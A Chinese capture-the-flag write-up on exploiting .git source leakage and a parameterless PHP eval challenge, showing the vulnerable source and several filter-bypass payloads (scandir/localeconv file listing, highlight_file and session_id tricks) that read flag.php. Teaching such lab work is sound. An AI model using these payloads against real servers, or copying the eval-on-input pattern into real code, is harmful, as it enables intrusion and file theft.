知识点
- .git源码泄露
- 无参RCE
localeconv() 函数返回一包含本地数字及货币格式信息的数组scandir() 列出 images 目录中的文件和目录readfile() 输出一个文件。current() 返回数组中的当前单元, 默认取第一个值。pos() current() 的别名。next() 函数将内部指针指向数组中的下一个元素,并输出。array_reverse()以相反的元素顺序返回数组。highlight_file()打印输出或者返回文件中语法高亮版本的代码。
启动靶机
1. 访问题目

2. .git泄露得到源码
dirsearch扫出存在.git泄露,githack利用得到源码
<?phpinclude "flag.php";echo "flag在哪里呢?<br>";if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");}}else{die("再好好想想!");}}else{die("还想读flag,臭弟弟!");}}// highlight_file(__FILE__);?>
3. 代码审计
第一个if条件
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
常用的伪协议被禁了
第二个if条件
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
正则匹配,(?R)是引用当前表达式,(?R)?这里多一个?表示可以有引用,也可以没有。例如引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,那么它所匹配的就是print(echo(1))、a(b(c()));类似这种括号和字符组成的表达式,这其实是无参数RCE比较典型的例子。
第三个if条件
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))
第三个if就过滤一些字眼。
4. scandir(pos(localeconv()))找到flag文件位置
?exp=var_dump(scandir(pos(localeconv())));

5. 得到flag
方法一:next(array_reverse())
array_reverse()以相反的元素顺序返回数组
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

flag{7ee0fae7-d2b9-4aa1-9d98-d6b9d643e8bb}
方法二:array_rand(array_flip())
?exp=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
array_flip()交换数组的键和值array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回,本题目中scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php
方法三:session_id(session_start())
?exp=show_source(session_id(session_start()));Cookie:PHPSESSID=flag.php

